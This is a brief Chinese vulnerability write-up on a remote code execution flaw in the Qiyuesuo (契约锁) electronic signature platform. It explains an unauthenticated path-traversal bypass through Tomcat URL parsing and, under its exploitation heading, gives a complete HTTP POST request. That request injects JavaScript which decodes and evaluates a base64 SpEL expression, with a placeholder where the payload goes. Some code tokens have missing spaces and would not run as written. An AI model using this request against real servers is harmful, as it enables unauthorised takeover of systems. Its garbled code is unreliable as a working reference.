漏洞描述

契约锁电子签章平台 /contract/ukeysign/.%2e/.%2e/template/param/edits 接口处存在远程代码执行漏洞，未经身份验证的攻击者可通过tomcat对路径参数解析不正当的特性绕过权限认证在目标执行恶意代码，获取服务器权限。经过分析和研判，该漏洞利用难度低，可导致远程代码执行，建议尽快修复

漏洞利用

POST /contract/ukeysign/.%2e/.%2e/template/param/edits HTTP/1.1 
Host: 
User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_15_7) 
AppleWebKit/537.36(KHTML,likeGecko)Chrome/113.0.0.0Safari/537.36 
Content-Type:application/json

{"id":"2","params":[{"expression":"vara=new 
org.springframework.expression.spel.standard.SpelExpressionParser();var 
b='SpEL表达式的base64编码';varb64=java.util.Base64.getDecoder();var
deStr=newjava.lang.String(b64.decode(b),'UTF-8');var 
c=a.parseExpression(deStr);c.getValue();"}]}